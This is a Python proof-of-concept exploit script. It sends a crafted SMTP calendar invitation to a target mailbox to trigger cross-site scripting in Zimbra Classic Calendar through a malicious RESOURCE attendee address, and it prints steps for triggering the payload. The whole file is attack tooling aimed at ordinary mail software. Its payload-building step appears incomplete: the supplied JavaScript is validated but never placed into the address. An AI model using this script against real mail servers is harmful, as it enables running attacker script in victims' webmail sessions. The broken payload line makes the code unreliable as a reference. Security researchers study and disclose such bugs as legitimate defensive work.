#!/usr/bin/env python3 """Send an SMTP invitation that triggers Zimbra Classic RESOURCE-attendee XSS.""" from __future__ import annotations import argparse import re import smtplib import uuid from datetime import datetime, timedelta, timezone from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.policy import SMTP def clean_header(value: str, name: str) -> str: if not value or "\r" in value or "\n" in value: raise RuntimeError(f"{name} must be nonempty and contain no line breaks") return value def valid_fqdn(value: str) -> bool: if len(value) > 253 or "." not in value or value.startswith(".") or value.endswith("."): return False return all( len(label) <= 63 and re.fullmatch(r"[A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?", label) for label in value.split(".") ) def malicious_resource(javascript: str, domain: str) -> str: if ( not javascript or not javascript.isascii() or any(character in javascript for character in ('"', "\\", "\r", "\n", "<", ">", "&")) or any(character.isspace() for character in javascript) ): raise RuntimeError( "--javascript must be a nonempty ASCII token without double quotes, " "backslashes, line breaks, whitespace, ampersands, or angle brackets" ) quoted_local = f'""' if len(quoted_local.encode()) > 64: raise RuntimeError("generated quoted local part exceeds the RFC 5321 64-octet limit") return f"{quoted_local}@{domain}" def fold_ical_line(line: str) -> str: if not line.isascii(): raise RuntimeError("generated iCalendar line must be ASCII") chunks = [line[:75]] remainder = line[75:] while remainder: chunks.append(remainder[:74]) remainder = remainder[74:] return "\r\n ".join(chunks) def ical_text(value: str) -> str: return value.replace("\\", "\\\\").replace(";", "\\;").replace(",", "\\,") def build_calendar( victim: str, organizer: str, resource: str, uid: str, subject: str, ) -> str: now = datetime.now(timezone.utc).replace(microsecond=0) start = now + timedelta(days=2) end = start + timedelta(hours=1) return ( "BEGIN:VCALENDAR\r\n" "VERSION:2.0\r\n" "PRODID:-//Classic Resource Attendee XSS PoC//EN\r\n" "METHOD:REQUEST\r\n" "BEGIN:VEVENT\r\n" f"UID:{uid}\r\n" f"DTSTAMP:{now.strftime('%Y%m%dT%H%M%SZ')}\r\n" "SEQUENCE:0\r\n" f"DTSTART:{start.strftime('%Y%m%dT%H%M%SZ')}\r\n" f"DTEND:{end.strftime('%Y%m%dT%H%M%SZ')}\r\n" f"{fold_ical_line(f'ORGANIZER:mailto:{organizer}')}\r\n" f"{fold_ical_line(f'ATTENDEE;RSVP=TRUE;PARTSTAT=NEEDS-ACTION:mailto:{victim}')}\r\n" f"{fold_ical_line('ATTENDEE;CUTYPE=RESOURCE;ROLE=NON-PARTICIPANT:mailto:' + resource)}\r\n" f"{fold_ical_line('SUMMARY:' + ical_text(subject))}\r\n" "END:VEVENT\r\n" "END:VCALENDAR\r\n" ) def build_message( victim: str, organizer: str, resource: str, uid: str, subject: str, ) -> bytes: message = MIMEMultipart("mixed", policy=SMTP.clone(max_line_length=998)) message["From"] = organizer message["To"] = victim message["Subject"] = subject message["Message-ID"] = f"<{uuid.uuid4()}@attacker.invalid>" message["Content-Class"] = "urn:content-classes:calendarmessage" message.attach(MIMEText("Open this invitation in Calendar for full details.", "plain", "utf-8")) calendar = MIMEText( build_calendar(victim, organizer, resource, uid, subject), "calendar", "utf-8", ) calendar.replace_header( "Content-Type", 'text/calendar; method="REQUEST"; charset="utf-8"', ) message.attach(calendar) return message.as_bytes() def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--smtp-host", required=True, help="Zimbra SMTP host") parser.add_argument("--smtp-port", type=int, default=25, help="SMTP port") parser.add_argument("--victim", required=True, help="Target mailbox address") parser.add_argument( "--javascript", default="alert(document.domain)", help="JavaScript executed when the victim opens the Calendar event in Classic", ) parser.add_argument("--subject", help="Invitation subject; default is randomized") parser.add_argument("--uid", help="iCalendar UID; defaults to a fresh value") parser.add_argument( "--organizer", default="organizer@attacker.invalid", help="Conventional RFC and iCalendar organizer address", ) parser.add_argument( "--envelope-from", default="bounce@attacker.invalid", help="SMTP envelope sender", ) parser.add_argument( "--resource-domain", help="Domain for the malicious RESOURCE address; defaults to the envelope sender domain", ) args = parser.parse_args() victim = clean_header(args.victim, "--victim") organizer = clean_header(args.organizer, "--organizer") envelope_from = clean_header(args.envelope_from, "--envelope-from") uid = clean_header(args.uid or f"resource-xss-{uuid.uuid4()}", "--uid") subject = clean_header(args.subject or f"Resource booking {uid}", "--subject") if "@" not in victim: raise RuntimeError("--victim must contain a domain") if "@" not in organizer: raise RuntimeError("--organizer must contain a domain") if "@" not in envelope_from: raise RuntimeError("--envelope-from must contain a domain") resource_domain = args.resource_domain or envelope_from.rsplit("@", 1)[1] if not valid_fqdn(resource_domain): raise RuntimeError("--resource-domain must be a valid FQDN") if not 1 <= args.smtp_port <= 65535: raise RuntimeError("--smtp-port must be between 1 and 65535") resource = malicious_resource(args.javascript, resource_domain) message = build_message(victim, organizer, resource, uid, subject) with smtplib.SMTP(args.smtp_host, args.smtp_port, timeout=20) as smtp: smtp.ehlo("attacker.invalid") smtp.sendmail(envelope_from, [victim], message) print(f"[+] SMTP accepted crafted RESOURCE invitation {uid} for {victim}") print("[+] trigger: open Classic Calendar and double-click the auto-added event") return 0 if __name__ == "__main__": try: raise SystemExit(main()) except (RuntimeError, OSError, smtplib.SMTPException) as exc: print(f"[-] {exc}") raise SystemExit(1)